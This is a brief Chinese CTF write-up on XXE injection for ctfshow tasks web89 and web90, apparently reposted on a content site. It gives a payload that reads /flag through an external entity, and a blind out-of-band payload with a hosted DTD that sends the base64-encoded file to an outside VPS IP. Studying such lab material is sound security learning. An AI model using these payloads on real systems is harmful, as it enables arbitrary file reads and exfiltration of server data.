【心得】XXE漏洞利用个人笔记
- 游戏开发
- 2025-07-21 19:22:47

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)
xxe的利用XML Entity 实体注入
当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞
危害
主流是任意文件读取
XML 文件
一般表示带有结构的数据
祖父 3个叔父 8个堂弟堂妹
<祖父>
<叔父1> <堂兄1> </叔父1>
<叔父2> <堂兄2> </叔父2>
<叔父3>
<堂兄3> </叔父4>
</祖父>
xml格式
1 有回显时文件读取方法<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[ <!ENTITY hacker SYSTEM "file:///flag"> ]>
<root> <ctfshow> &hacker; </ctfshow> </root>
例题1 web89
post传:
<?xml version="1.0" encoding="UTF-8"?> <root> <ctfshow> hacker </ctfshow> </root>看到回显hacker
可以实现任意文件回显
payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[ <!ENTITY hacker SYSTEM "file:///flag"> ]> <root> <ctfshow> &hacker; </ctfshow> </root>这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的
2 无回显时文件读取方法例题2 web90
无回显点,考虑数据外带
post传
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd"> %myurl; ]> <root> 1 </root>
在vps上创建文件test.dtd
test.dtd内容
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://124.222.136.33:1337/%file;'> "> %dtd; %vps;
vps监听1337端口即可
【心得】XXE漏洞利用个人笔记由讯客互联游戏开发栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【心得】XXE漏洞利用个人笔记”